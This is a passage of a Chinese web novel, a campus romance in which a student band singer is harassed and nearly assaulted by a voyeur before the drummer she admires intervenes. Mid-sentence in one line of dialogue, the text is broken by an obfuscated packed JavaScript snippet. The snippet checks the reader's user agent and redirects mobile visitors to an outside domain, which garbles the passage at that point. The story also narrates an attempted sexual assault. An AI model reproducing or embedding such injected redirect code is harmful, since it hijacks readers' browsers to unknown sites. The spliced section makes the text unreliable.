“哦!”男生面上闪过一抹不自然,舔了一下起皮的唇,忙笑道:“你好,我叫彭子涵,传媒学院大三的,我之前在学院楼里见过你。” 手指间传来刺痛,陈最最忍不住皱了皱眉,迅速点头应付:“学长好。”说完她转身就走。 太热了!手也好疼! 可她才刚走两步,彭子涵小跑上来,抓住塑料带子,把袋子抢了过去。东西被抢,陈最最下意识抓紧。于是场面就成了,彭子涵扯着袋子低头看她,陈最最一脸防贼样。 “......” “学长,你干什么?” 彭子涵讪笑一声,把袋子彻底拿在手里:“这么重的东西怎么能让学妹拿。学妹去哪里?我送你。” “主教学楼。”陈最最说。 彭子涵咳了一声,“那正好,我刚好也要去学院,一起吧。顺便蹭一蹭学妹的伞挡一挡太阳。”说着,他朝她抛媚眼,又把伞抢了过去。 陈最最松手时,蹙眉问:“可学长不是在等人吗?” “嗤。”彭子涵埋汰,“别提了。我舍友。我在这都快二十分钟快烤熟了他都没来,等个锤子不等了。”他看这陈最最的眼睛,又笑起来,笑容比头顶的朔日还要灿烂:“我们走吧。” 彭子涵就是个话痨,一路上小嘴吧吧没停过。有个免费的劳动力是件很爽的事情,陈最最除了觉得他有点吵之外,直到坐上电梯都是一身轻的。 当两人停在练习室门外时,彭子涵瞪大眼睛,十分惊讶,自来熟亲切喊她:“最最,难道你就是传说中,那个选上嗨乐队的牛掰主唱?” “嗯。”陈最最颔首推门,这口吻搞得人怪不好意思的。 练习室开着空调,温度很低。 此时只来了两个人,一个是缩在沙发上打农药的张彡,还有一个是坐在架子鼓前看鼓谱的周廷。 陈最最一进门,两个人都看过来。 “快快快关门!”张彡头都没抬,吼了一句。 陈最最很听话,走进来,让出一个身位,示意还站在门外的彭子涵进来好关门。 与此同时,周廷放下鼓谱,抬头看来,随后眉头肉眼可见地轻轻蹙起,看着门外站着的人。 彭子涵扯着脖子看了一眼练习室里面,没看见自己嗨乐队唯一的挡箭牌叶斌,讪笑一声,把水果袋递给陈最最:“我学院还有事,就先走了。学妹,我们回见。” 陈最最望着他走远,疑惑关上门,把水果袋放到地上,然后一盒一盒拿出来,摆在桌面上。边摆弄边扭头看已经重新看着鼓谱的周廷,喊他:“学长,我买了水果,快来吃。” 周廷翻谱子的手一顿,抬起头,勉强挤出了一抹笑:“我不饿。” 陈最最刚想说:吃两口不撑肚子的。就看见周廷遂低下头,一幅生人勿近的样子。 她心中泛起一抹失落,小嘴往下耷。超市里的水果有很多,她几乎每一种都买了,也不是真的想要都买,而是真的超级想知道他的喜好。 “他不爱吃水果,我爱吃。来,给我啜一口儿。”张彡边噪着一口东北话,边把手机人在桌面上,游戏胜利的界面还停留在屏幕上,他拿起一盒西瓜,叉走一个最红最大的,张开血盆大口刚准备放进去,突然瞥了陈最最一眼。 陈最最也正在看着他,张彡却突然定住,短短一秒的时间里,瞳孔越放越大,最后轻轻咬了一口,又咬了一口才把那颗西瓜吃进肚子。 张彡放下西瓜,吞了口水,看着陈最最憨憨笑起来。这笑容,跟他寸头,穿老虎背心的猛男外表,有一种天然的悖感。 “最最,你来了?”张彡忽然转一口流利的普通话。 这突如其来一百八十度的大反转惊的陈最最措不及防,只能愣愣点头回应。 “你买的水果真甜。” “是吗?”陈最最还没尝过,感觉到张彡话中的讨好,避开实现,拿了一盒草莓,边吃边随口说:“那你多吃点。” 张彡重重点头,“嗯嗯!!”果真开始认真吃起来,不带含糊一口一个。 眼看着他已经吃完了两盒西瓜和一盒哈密瓜,都是水多的,而陈最最自己才吃去小半,心情有些复杂。她倒不是心疼钱,只是担心张彡的肚子。 “老彡。”周廷如山泉般清润的声音响起,打断张彡准备打开一盒青提的手。陈最最闻声扭头,周廷依旧低着头看谱子,语气却不容反驳:“排练期间不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072071|163254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上厕所,再吃,到时候你记得憋着。” 张彡确实、好像、似乎感觉到自己最好的小兄弟有股难掩的冲动,讪讪收回手,“最最,我先出去一趟,马上回来啊,回来继续。” 张彡上厕所去了,练习室内只剩下她和周廷。 空气陷入长时间的沉默。 这尴尬的气氛。 可陈最最看周廷气定神闲,好像只有她一个人在尬。陈最最走过去,边探头去看, 周廷的余光看见陈最最走过来,手指间停了一下。 她主动开口,夹着声音:“学长,你看的谱子是秋之韵上要奏的吗?” 他轻轻掀开眼皮看她,“不然呢?”说完,周廷把谱子扣在正前方支架上。 “......” 然后,练习室就响起了错落不一,快慢有序的鼓镲声。 叶斌去校外沟通商演,回到练习室看到的就是这么一副景象:周廷贼拉呀帅气,边甩着鼓棒边自在踩镲,而陈最最则乖巧地双手抱膝坐在椅子上,盯着周廷的目光眨都不眨一下。 他轻笑一声,把蓝色双肩包挂到椅子上,在陈最最身边坐下,双手交叠插.进腋下,带着玩笑的口吻问陈最最:“最最,你知道打爵士鼓为什么要甩鼓棒吗?” 陈最最回神扭头,完全没发现叶斌什么时候坐到了身边,也没想,直接问:“为什么?” 叶斌笑了一声,故作高深开口:“这甩鼓棒呢是学架子鼓的时候必须要学的,主要有定点滞空回旋和花式指尖螺旋转,可以用在休止、起势的地方,起到......" 陈最最眨眼,听得认真,安静等着下文。 "起到......装逼的作用。” “......” 周廷一首演毕后停了下来,坐在位置上拿着谱子,低头修修改改。 没过多久,张彡、闻小云、毛米洁陆陆续续来了,队乐器做调试。 陈最最坐着没事,人闲就容易想动。她在叶斌因为巨无霸水果的感动目光中,拿起空的水果盒子起身出门,绕进楼梯间的垃圾桶,把盒子扔掉。 刚一推开汉中笨重的双爿门,一股浓烈呛鼻的烟味迎面扑来,陈最最捂住鼻子咳了两下,把盒子扔进了激动就要转身离开。 “你叫陈最最?”身后,靠在扶手抽烟的人突然开口,语气说不出的吊儿郎当。 陈最最捂着鼻子缓缓转身,聚睛一看才发现,是毛米洁的男朋友。这也是后来她问了叶斌才知道的,毛米洁的男友不叫周廷,而是眼前这个人叫肖笑,体育学院大三的,人品不怎么样,很不受乐队其他人的待见。 陈最最不知道为什么,只见过肖笑一面就打心眼里不喜欢。 敷衍地点点头,她转身就走。哪知肖笑竟一个大跨步冲上来,压住门,斜靠在门上,嘴角斜着,视线赤裸地打量陈最最,目光更是在她露出的长腿上来回扫。 “看什么呢你!让开,挡我路了。”陈最最觉得被冒犯了,不只是一点点。 可哪怕她吼得再凶,这张幼态得脸,也不会觉得多有气势。 “不要那么凶。”肖笑挑眉坏笑,“我老婆也是你乐队的,认识一下,很过分吗?” “不过分。但你现在让我很不舒服,让开。” “嗤。”肖笑低头嗤笑,这生气起来也是娇滴滴的模样,真让人他妈的想欺负。“喂,要不我甩了毛米洁,跟你在一起怎么样?” 陈最最瞪大眼睛,真不敢相信自己耳朵听见了什么。 “你有病...” 话还没说完,肖笑身后的安全门被人从另一侧推开,因为力度太大,肖笑被顶飞,差点摔下楼梯。 他愤怒转身,“他妈谁啊!不知道门后有人吗?” 楼梯间的高墙上有一口小窗户,阳光透过窗户形成一束光正好照在周廷的胸上,停在下颚线的位置。一双深情引人沦陷的眼隐藏在过眉的发尖里,隐晦,深谙。他左手指尖还捻着一根烟,就那么看着肖笑。 肖笑看见是他,眼睛眯成一条线,质问:“周廷,你什么意思?” 周廷没回他,反而眨眼转看向陈最最,“你先回去,十五分钟后排练。” 陈最最点点头,从周廷身边快步走过,闻道一股奶香夹杂着薄荷的气味。 门嘭地一声在身后关上,在门与框闭合成紧密的一条线前,陈最最听到周廷说:“我记得我警告过你,不准打她的主意。” “呵,你管得着?” “她是我的人。” 7. 她 陈最最脸瞬间红了,心莫名也跳得飞快。 什么叫她是他的人? 心里含羞的同时,她又很担心,周廷不会跟人打起来吧? 还好,周廷很快回来了,身上带着淡淡的烟草味。他 今天穿了一条黑色直筒阔腿裤,裤腿随着迈步懒散垂落,他从桌上乱七八糟的东西中翻出一盒硬糖,紧接着挑了一颗薄荷味的放进嘴里。 陈最最视线一直跟在他身上,看着他做完所有动作,再坐回爵士鼓前。 全程一个眼神都没递给她,仿佛刚才护她所说的那些话是假的一样。 眉头轻拧在一起,忽然,她察觉到身侧站了一个人。 陈最最扭头看,是毛米洁,她正看着门外,没看见想看见的人,低下头问她:“你刚去楼梯间了?” 毛米洁五官很锋利,搭配上浓烈的妆容,不耐的语气,显得有些咄咄逼人。 陈最最乖巧地点了下头:“对。” “那你看见我男朋友了吗?” 陈最最刚想点头,周廷温润的声音响起,“我让他回去了。” 他一出声,毛米洁瞬间转换目标,“你让他回去?”她舌头抵着后槽牙,轻蔑笑了一声:“周廷,你什么意思?我没懂。” “从今天开始,乐队练习室,不准外人进来。” “不准外人进来?”毛米洁停了片刻,生气大吼:“我看不是不让外人进来,而是在你看来我已经是外人,所以不能带人来了对吧。” 毛米洁很激动,“那行啊,秋之韵老子不上了,你他妈爱让那个谁上谁上。” 陈最最看懵了,正想着上前解释楼梯间发生的事情,衣袖被人轻轻拉住,她着急回头,问张彡:“怎么了?” “别去。他们之间的事有点复杂,我也不好跟你说。就是,你现在不要上撞枪口就对了。”张彡摇了摇头。 陈最最推开他的手,那也不能让周廷被人误会。 她急忙回头,却听见嘣的一声,视线聚焦的时候,看见周廷脚边的军鼓破了一个洞,毛米洁穿了一双尖头小高跟,是她踢的。 叶斌生气站起来:“毛米洁,你不要太过分,好歹你现在还是乐队的一员。” “呵呵。”毛米洁哂笑,发狠说:“从现在开始,不是了。”说完她迈着矮高跟踩出哒哒声,一把扯挂在桌背上的黑色小香包,十分粗暴地从里面拿出了十张红宝贝扔在了周廷前的嗵嗵鼓上。 她恶狠狠地盯着周廷,讥讽道:“陪你的,够买一套了。” 黑色小香包在身后甩出一个弧度,毛米洁转身,门嘣的一声,屋内霎时陷入了寂静。 诡异的寂静。 所有人,包括陈最最在内,每个人都在打探周廷的脸色。 陈最最以为他会很生气地拿钱追出去,狠狠仍在毛米洁脸上,痛斥她不要看不起人。可他没有,他很平静看着漏洞的军鼓。 半分钟后,在她有些吃惊的目光下,周廷伸出手,一张张捡起毛米洁用来羞辱他的一千块钱,卷成团收进兜里。 他转身,清冷的目光落在陈最最脸上,声音有些冰冷。 “陈最最。” “嗯?”她眨眼。 “把你课表发我。秋之韵,你来当主唱。” 根本不给她考虑的时间,周廷已经迅速跟陈最最换微信,然后以最快的速度将她课表空白的地方,用画笔补满了。 今天是周六,她本来与黎初约好,等训练结束去万达吃海底捞。可现在,陈最最只能苦哈哈地把时间推迟。 次日,好不容易将表演的两首歌学会,陈最最第一个离开练习室,与黎初直接在海底捞门口碰面。 黎初对她突然任命主唱这件事很好奇,问了一大堆,陈最最就将在楼梯间发生的事情到毛米洁暴怒摔门从头到尾说了一遍。 黎初愤然,掏出手机联络她的人脉后备军打听肖笑。 吃完饭已经是晚上九点,她们回学校。 晚上的空气很闷,蝉鸣声到晚上也没有休止,噫呜噫呜闹个不停。 陈最最甫一走到宿舍楼下,远远就瞧见女生宿舍门前的格外高挑显眼的那个身影。 周廷身前站着一个女生。他正递给她什么东西,女生有点羞赧拿过。然后周廷说了两句话,走了。 女生望着他走远,才转身朝宿舍里走。 黎初勾着陈最最的手,大瞪着眼,吃惊:“最最,什么情况?” 陈最最摇头,抿嘴,心里莫名有点不舒服。 黎初:“走,跟上去。” 她们光明正大地一直跟在女生的身后,看着她走到六楼最里面的的一间宿舍门前,插钥匙孔,打开门。 也不知是不是她太激动的原因,门没关紧,灯光顺着门缝落到昏暗的走廊上。 黎初跟打了鸡血一样,拉着陈最最做起贼,站在门旁边偷听。 “米洁,这是周廷让我给你的,说这是你昨天落在练习室的钱。” 听到熟悉的名字,宿舍里的其余的人开始起哄。 陈最最听到王者游戏人物角色死亡的播报声音,紧接着,毛米洁咬着牙的不耐的声音传了出来。 “呵,穷鬼。就算装得再怎么道貌岸然又怎么样呢,还不是把修鼓的钱拿走了。贫民就是贫民,永远也掩盖不了他出生在垃圾堆的事实。” 宿舍里不知道谁附和着她,笑声听起来格外讽刺:“哈哈哈,你也别这么说,好歹他长得确实有点姿色。要是花钱能泡到这样的,我也愿意花点。哈哈哈哈哈。” 似乎被取悦,毛米洁笑了两声:“呵呵呵,可以啊,等哪天他要是接客了,我请你玩。” 黎初拍墙:“诶!最最!” 黎初话还没落,陈最最已经单手扶门,咚的一声,她推开门,视线扫了一圈,很快落在床位在最右角的毛米洁身上。 毛米洁先是怔了几秒,然后她笑了一声,表情说不出来,却让陈最最十分不舒服。 陈最最皱着眉,为周廷鸣不公:“学姐,请你把刚才说的话收回去。” 毛米洁:“啊?呵呵,你没事吧?你以为你是谁啊,傻逼。” “最最!”黎初跑上来,抓着陈最最的手,“你干什么?”看见毛米洁宿舍四个人不善的目光,黎初拉着陈最最走了出去。 去教育超市的路上,陈最最还是气不过,跺脚低声:“可恶!” 黎初忍不住开口:“最最,你怎么了?怎么能那么冲动呢,万一出了点什么事怎么办?那几个女的看起来就不好惹。” “她们敢!”陈最最鼓着腮帮子,脸都被气红了。 黎初讪笑:“是,是。苏海第一房地产大亨的宝贝女儿,哪个不长眼的敢惹。可人家又不知道你的身份。你和政聿哥从小都在国外养着,就政聿哥也是几年前才回来。那要不我帮你昭告天下,说音乐学院大一的陈最最是苏海首富陈魏的女儿?” “这样,那个叫什么洗洁精的,还不得巴巴来道歉?” 陈最最没在意黎初话里的调侃,凝着眉头,语气听起来很难过,“黎初。” 黎初叹了一声气:“怎么啦,我的大小姐。” “周廷出生不好?他很穷吗?” 黎初正喝着苏打水,呛了出来,用手背抹掉嘴角的口水,抬起头不敢置信的表情,“最最……你,喜欢周廷?” 喜欢吗?不至于。 但她确实对周廷有好感,每次看见他视线都移不开。 “没有。”但她还是否认,“我就是好奇,毕竟在一个乐队嘛。” 黎初上下打量她,点点头:“嗯,想也不是。你不可能会喜欢穷小子的。” 她继续说:“听说的,我也是听说的啊。周廷家里特别穷,学费生活费都是靠自己挣的,经常接酒吧驻唱什么的散活。哦!对了,你昨天不是要训练吗?然后我就回家一趟,咱家附近的小吃街里有一个小酒馆。你说巧不巧,半夜了都,我恰好看见周廷在那卖唱呢。本来想发给你看来着,但我喝了点酒太困了,后来忘了。” “……” “最最……最最,想什么呢?”黎初见陈最最发呆,拍了拍她手感优秀的脸蛋,察觉到了不对劲,皱着眉问她:“你,不会真的喜欢周廷吧?虽然他帅吧,你俩除去家庭挺配的。但是……” 别人或许不知道,但黎初最清楚不过的,打小陈最最用的东西都是是定制的高档货,吃的是年薪几百万大神几级别厨师做的,况且陈政聿更是绝对不准陈最最花钱在男人身上。 但要是最最喜欢,她还是会支持,“倒也不是不可以,政聿哥那边我帮你瞒着,等之后生米煮成熟饭回不来了,他也不好说什么。” 陈最最斜了她一眼,这还什么都没有呢就开始帮她谋划了。 “没有。我绝对不可能会去养一个男人,再帅的也不行。” 时间倥偬而过,转眼梧桐树梢又多了一点黄。 秋之韵玩会安排在中秋节前的最后一个周六。 江海大学南溪校区有着全国最大的足球场。晚会用的台子提前好几天就找工人搭好了,除了表演人员的座位在前几排之外,跟音乐节一样,观众站着观看表演。 毛米洁彻底跟乐队决裂了,连乐队群都一声不吭退出去了。 乐队成员在练习室练习了一个下午后,去校外的一个小发廊做了头发,终在晚会正式开始前一小时到了。 陈最最安静地坐在台下,双手微曲老实地放在膝盖上,第一次上台,她内心是紧张的,手心怵洇出一层薄薄的热汗。 这人一慌,就想上厕所,出发前陈最最就图方便上了一次,这才刚过多久又想上了。 她小声问向身边的叶斌:“学长,厕所在哪呀?” 叶斌扭头看着她,十分理解地笑了笑,指着几百米外的办公室灯光通量的方方正正的大楼:“体育馆里面就有,要我陪你去吗?” 陈最最 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厕所在体育馆的北侧,陈最最是从南侧上来的,走了一会才到。上了厕所,洗了手,对着镜子整理了一下自己的妆发。 她今天扎了一个丸子头,额前的碎发用卷发棒卷成一圈圈,修饰得脸很小,搭配上紧身短裤,白色露腰字母背心包裹出的火辣身材,看起来又纯有欲。 陈最最很满意地往回走,上完厕所,突然就不紧张了。她嘴角微微勾起,显得自信且随意。 刚拐过楼角,她听到一阵韩文kpop的音乐在整个楼道回响。 体育馆的东面楼道的正中间,地方有一个很大的空地。来的时候还没有人,现在有一群人在哪里,好像是在排舞。 陈最最默默地走过去。 “最最?” 喊她的人,语气中带着一丝不确定。 陈最最疑惑转身,是彭子涵,他今天穿了一身嘻哈风格,还抓了头发。 “你怎么在这儿?”他上下扫了陈最最,下一秒,笑容一点点收了起来,一字一句,盯着她的眼格外认真。 陈最最还没回答呢,就听见他说:“你,今天真好漂亮。”眼睛里满是欣赏。 彭子涵就是个话夹子,打开了就停不下来,拖着陈最最说话,还让她看他跳舞。 时间不知道过去多久,体育馆二楼的东南角也不知什么时候站着一个浑身黑的人,他沉默地看着少女站在明亮的顶灯下,笑容夺目又绚烂。 停了一会,他安静地转身,走了。 喧闹的操场上,叶斌在吃饼干,感觉身边的位置有人坐下,他扭头:“回来啦?” 周廷回到位置上,掏出裤兜里的白色有线耳机挂在脖子上。 叶斌见他不说话调侃道:“不是我说老廷,你怎么回事啊。新人紧张就算了,你这都老油条了,临上台也慌不择路到要去厕所?” “慌不择路是这么用的?”周廷冷冷扫了他一样后,闭上眼睛假寐。 昨天晚上他在酒馆兼职到凌晨三点,睡眠不足,脑袋有些痛。 渐渐地,他本来只想积蓄精神,却不知不觉睡着了。 耳机线不知道被谁勾落,耳孔里抒情音乐戛然而止,他是被人吵的,睁开眼就看见,叶斌满脸着急,低头疯狂点手机,电话拨了之后放到耳边,嘴里不停说:“电话也不接,人去哪了?难不成真迷路了?” 周廷立起身,惺忪着眼问:“怎么了?” 叶斌手机还贴在耳边,解释道:“陈最最还没回来,这还有一个表演就到我们了你看这,哎。老彡,小云说要去找,但我又怕他们也不见。老廷,现在该怎么办?” 周廷眉头蹙在一起,低头看了一眼手机上的时间,他睡了有半个小时,在心中估算着陈最最走回来的时间,耳边却突然听到很熟悉的旋律,他周廷抬眼看向舞台,彭子涵在彩灯里跳托马斯全旋。 台下尖叫声迭起,周廷却头痛欲裂,耳鸣声渐渐掩盖过尖叫声。 他抬手扯掉另一只耳机,望向只有微末灯光的体育馆。 - 另一边,彭子涵一直拉着陈最最聊,他的队员都不耐烦了催他走了,他才放陈最最离开。 陈最最没有选择原来的路走,东面有电梯,她直接坐到体育馆的下沉广场,从负一楼出去。 下沉广场没开灯,足球场就在旁边,借着舞台的光勉强能看清楚路,她就没打开手机的电筒。 刚走出北楼到下沉广场,陈最最跟一个长头发穿着短裙亮片表演服的女生擦肩而过,浓烈的香水味让她鼻头发痒,陈最最揉了揉鼻。 下意识回头看了一眼,女生拐进了一条声控灯坏掉的走廊。在陈最最收回视线的霎那,女生手机电筒照亮的最后范围里,她很清楚地看见了一个带着卫衣帽子的高大身影,尾随其后,钻进相同的走廊。 然后,电筒的灯光也消失了。 8. 她 体育馆的下沉广场在负一楼,很黑,没什么人来。 陈最最顺着出去的楼梯朝外看,她走来的时候就注意到附近没什么人,人都在另一边的操场入口附近。 她担心出去找人的这么一点功夫,女生出事,她没有选择跑出广场找人帮忙,而是用手机给黎初发了个消息,让她快过来,就放轻脚步跟了上去。 走廊上空荡荡的,没有人了。 她一间一间听,然后敲门,确定没人,才又走向下一间。 在她敲响第十间门的时候,听到一声尖锐的女声,走廊尽头唯一一盏完好的声控灯唰地亮起,陈最最扭头,大吼:“喂——谁在哪?!”她边吼边朝着声音的源头跑。 声控灯的左手边是厕所,陈最最停在厕所外,紧张地咽了咽口水。 厕所仪容镜里,倒映着她强装镇定的脸,以及一个高大的穿着白色运动裤黑色卫衣的男生,背对着她堵在女生厕所的狭口,而刚才与她擦肩的那个女生正对着她,手被男生紧紧箍住,满脸慌张。 “喂!你们在做什么?”陈最最尽量保持淡定对着背影说。 男生似乎没想到会有其他人,无措愣神的间隙,女生挣脱他的束缚,推开他跑到陈最最身边。 “他...他用手机偷拍我。”女生颤抖着拽紧陈最最的手,后怕着说。 陈最最抚摸着她的背,安慰道:“没事了,只要我们在一起,他不敢拿我们怎么样。” “呵。两个女的而已,真的以为就打的过我了吗?”男生这个时候转过来了,头顶上的声控灯熄灭,在光线消失的最后一刹,陈最最看清楚了他的脸。 “肖笑?”她不敢置信。 声控灯以为她尖锐的声音又亮起。 肖笑此时也看清陈最最了,眼中闪过一抹诧异,很快,他歪嘴笑,挑飞一只眉毛,扬着声调:“呵,陈最最?” “你们,认识?”女生惊诧的目光飞快在肖笑和陈最最之间来回扫。 然后,陈最最还没开口,就感觉手臂一松,她瞳孔猛地缩了一下,一扭头发现女生已经抛弃她跑了。 陈最最怔住,怎么形容给此时的心情,就跟她养了一只要死的狗,狗活过来了,却反咬她一口,弄得整双手鲜血淋漓。 女生跑了,她一个人就是打不过肖笑了。 陈最最也不笨,拔腿就跑。 可才跑出几步,手被人抓住,力气大传到骨头里,生疼。 肖笑绕到前方挡住她的去路,眯眼,一副欣赏圈养起来的囊中之物一样,他歪头,讥笑:“最最呀,哥哥我啊,练短跑的,你觉得你跑得过我吗?” 越说,肖笑手中的力度越大,疼得她呲牙咧嘴。 “肖笑。你竟然用手机偷拍女同学,被发现还不知悔改,被老师知道,你就完了!” “呵。”肖笑狠狠拽她的手,青葱的五指因为缺少血液流动肉眼可见的发紫,陈最最使尽全身力气,黑色圆头小皮鞋摩擦白瓷砖地板,响起尖锐的呲——,肖笑却把她一把拉近,一股说不出来的恶心味道传入鼻尖,难闻得她想吐。 可突然,右手得疼痛忽然减轻了,肖笑松开了她得手,但是脸上却擒着说不出来得笑,陈最最没空思考这个笑的含义是什么,她转身就跑,快速地打开手机拨打110。但肖笑的动作真的太快了,她甚至还没有解开屏锁,一只不满腱子肉的,让她抵触恶心的大手紧紧箍上她的胯。 “啊——” 肖笑将她扛在肩上,走进女厕所。 “只要掌握了你的把柄,就没有人会知道了。” 陈最最震惊,什么把柄,他想做什么? 脚底渗出凉意,一直蔓延上后脑勺。 门外的声控灯熄灭,漆黑的走廊上,手机屏幕孤零零地亮着,响起微信来电铃声,停了又断断了又续,显示来点人——周廷。 女厕所里的灯没有打开,马路上的路灯透过墙上的一顶半尺小窗透进来,形成一格照在陈最最的腿边。 她被扔在墙角,厕所肮脏的的水沾湿她的腿,尿液的骚味从未哪一刻这么清晰地传入鼻尖。但这却不是让她最难受的,眼睛习惯了昏暗的光线后,肖笑的轮廓逐渐变得清晰,他居高临下地端详她,像看一个优美的晚餐。 从她的视角,从下往上看,他是那么的可怖。 “肖笑。你今天敢动我,你就死定了!你知道我是谁吗?!”她再次警告他。 黎初应该在赶来的而路上了吧。 “呵呵。”肖笑边讽笑,边扣着她的肩膀强迫陈最最站起来,摁在墙上,粗肥的手很自然地压向她的小腹,挑动钮扣。 陈最最胃里在翻涌,那只手就跟厕所里爬行的岨一样,让人恶心。 肖笑:“美味的肥肉送到嘴边,不吃我这辈子都要后悔。天王老子来了,你今天都跳不掉。” 肖笑一只手插着陈最最的脖子,一只手忙慌在她腰间游走,嘴里不断低声骂,陈最最不论怎么打,就跟打在砧板上,肖笑没什么感觉,她自己拳头上的软骨已经传来阵阵刺痛,眼睛像口泉水一样,汩汩流出,满脸都是眼泪。 她绝对不能把自己交代在这里。 陈最最想起了在国外的时候,有一个同学也遇见过这样的骚扰,她是怎么做的? 昏暗的环境中,她通红的眼睛亮了一瞬。 肖笑察觉到身前的人不闹了,以为她是妥协了。勾唇轻笑,把头伸过了去,满心欢喜地准备进行下一步。 粗哑着嗓子:“臭婊子。嗯?裤子穿那么紧,不就是等着这一刻。爸爸这就来来满足你。” 话音刚落,肖笑脸上的奸笑滞住了,下腹猛地传来巨痛。 肖笑松开抓陈最最的手,捂住自己的命根子,痛得眼冒金星,倒在地上滚来滚去。 陈最最喘着气摸上自己的脖子,跑过肖笑时,又在他手捂着得地方快速补了一脚。 走廊上的声控灯因为肖笑的叫声亮起,陈最最朝着光跑。周围是那么安静,肖笑的吼声那么刺耳,心跳声音震耳欲聋,她不知道肖笑什么时候回追上来,只能不断地朝外跑。 在她踏出女厕所的那一步,猛地,装进了一个牛奶薄荷味的怀抱,惊慌无措的那颗心仿佛找到了归属,她忍不住眷恋地重重吸了一口。 她仰起头看他。马尾散了,眼睛红红的,脸上挂着满脸的泪。慌张又害怕的目光直直撞进周廷的眼里,化成一根丝线绞着他的心。 “学.....学长?” 她声音在颤抖,到底发生了什么?! 周廷抬头看了一眼女厕所,正好看见忍着剧痛跑出来想抓陈最最的肖笑,“周廷?” 陈最最放在周廷后腰的手反射收紧,把他当作此刻唯一的依靠。 她在害怕。 周廷眼底泛起寒意,他手绕到身后抓住那双软弱无骨的手,关节处泛红,有些还破了皮。 他目光沉了一下,松开陈最最的手,改而一手搭着她的肩膀,一手理她的碎发,语气小心又温柔,充满了蛊惑:“别怕。”他把从地上捡的手机放到陈最最手里,“打电话报警,然后喊叶斌过来。最后,对着镜子把自己收拾一下,乖乖地,在原地等我。” 说完,周廷脱下自己黑色棒球外套。陈最最仰头看着他,任由他为自己披外套。周廷的脸色很淡,她无法形容他此可的表情,明明看不出他脸上有丝毫怒意,却莫名让人心生惧意。 周廷安慰地拍了拍她的肩膀,错身越过她。 “你去哪?”她拽住他白色的衣摆。 周廷回头,嘴角浮上一抹弧度:“乖,听话。照我说的做,好吗?” 似乎是他的眼神太坚定,让她彻底没了害怕,在这样的眼神下,听他的话仿佛成了不容违背的神旨。 腰上的小手松开,周廷又安抚着笑了笑,再转头的时候,脸上的笑已不见分毫。他抓住肖笑衣领口的那只手青筋根根分明。 很快,他们进去了,陈最最只能听见拳头拳拳到肉的声音从女厕所里面传来。 她有些担心,肖笑练体育的,周廷能打得过吗? 刚想抬腿走进去,脑中忽然浮现周廷温柔的眼,他让她乖乖等着......那她选择相信他。 按照周廷的话,陈最最现报了警,给叶斌打了电话。她走到公共洗手台的镜子前,在一阵阵痛呼中,慢慢梳理好自己的妆容。 叶斌带着张彡和闻小云比警察先到。 看见陈最最问:“老廷呢?” 陈最最看了女厕所一眼。叶斌带着身后的人进去了。 在警察赶到之前,周廷他们出来了,身后拖着已经被打得鼻青脸肿的肖笑。 陈最最实现在周廷脸上来回扫,他的嘴角青了一块,陈最最忽然觉得,心扎了一下,脑袋热热的。 周廷在她面前停下,上下看似乎在确定什么,最后才满意一般把陈最最肩膀上的外套拿走,重新披上,移开视线。 经历过这么一遭,嗨乐队的表演自然取消了。 警察把肖笑押走了,周廷和陈最最是两个当事人,跟着一起去了警局录口供。 “证实了。这家伙手机里确实有很多女孩的照片。”一个负责了解情况的警察调查回来,坐到座位上,将结果与陈最最说,“你们是怎么发现的?你.....” 警察看陈最最,欲言又止。陈最最明白他在顾虑什么,满不在乎地笑了一声,主动开口将事情的始末娓娓道来。 话毕,周廷却忽然握住她的手,陈最最浑身僵了一下,望着周廷轮廓分明侧脸,他的眉斜飞入鬓,眼神真挚望向警察:“你好。今天的情况可以麻烦你们帮她保密吗?” 警察看了两人交握的手,意味深长一眼,“放心,涉及隐私的案子,我们局从没掉过链子,保证不会有任何消息走出这间办公室。” 周廷点头,余光瞥了陈最最一眼,然后松开手,右手习惯性地摩挲左手的大鱼际。 陈最最收回被他握住的手,温暖的触感仿佛还停留在上面,一抹绯红悄悄爬上了她的耳尖。 警察又进后边的审讯室了,再出来的时候手中拿着一本蓝色文件夹,“这里暂时没什么事情了。”他对着陈最最:“就是过两天可能会联系你来看监控,找一下你说的那个女生。” 陈最最点头应道:“好。”正准备告别,警 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与妇人的无理取闹不同,与肖笑长得有六分相似的中年男人很冷静,他松开陈最最的手,目光沉静落到周廷脸上:“我儿子的伤是不是你打的?” 周廷同样冷静回望,点头:“是。” “呵。”中年男人笑了,“他确实是个垃圾,但即便如此,我肖天的儿子也不是可以任由一个穷小子欺负的。” 肖天挥手,走上来一个带着黑框眼睛的板正男人,“周廷先生您好,我是肖笑先生的代理律师。按照法律规定,您对肖笑先生的行为已经造成了人身侵犯,我们这边不排除您对我的当事人存在恶意。但我当事人决定不计较,只需要您付清未来肖笑先生因为医治所产生的医疗费、护工费、以及住院期间所产生的餐食费、交通费等。具体流程将由我来与你对接,谢谢。” 陈最最听此,也不管自己挨的那一巴掌,转身朝这个特别欠揍的律师说:“你别问他,跟我说就行。多少钱,我来出。” “出个屁!” 听到熟悉的声音,陈最最目光闪了一下,边扬起笑脸边转身,陈政聿不知道什么时候来了,身后跟着四处探眼观察的黎初。 “哥。” 陈政聿拧眉走上来,弹陈最最脑门,“你还知道我是你哥啊,出了这样的事第一时间为什么不联系我?” “我……”陈最最开心过了头,忘记现在是什么情况。她视线从陈政聿移到他身后的黎初脸上。 陈最最:你怎么把我哥叫来了? 黎初:你哥靠谱呀。 陈最最:…… 肖天认出陈政聿,一改高高在上的姿态,“陈总?”弯着腰,一脸讨好上来想握住陈政聿的手,“您怎么来了?陈董事长最近身体怎么样啊?” 陈政聿觑了陈最最,没有回握停在半空的那双手,语气冷淡:“家妹出事,当哥哥的自然要来。” 肖天怔住,僵硬地扭头,撞上陈最最愤恨的双眸,心里陡然一凉。心里转了八百个弯道,最后大步走到肖笑面前,抬手就是响咧的一巴掌。 啪—— 肖笑不敢置信地捂着脸,“爸。”肖天作势再打。 肖笑的母亲跑上来,扯肖天的衣袖:“你在做什么啊?!”可终究力气太小,一巴掌下去,左边一个右边一个,肖笑的脸蛋也算是圆满。 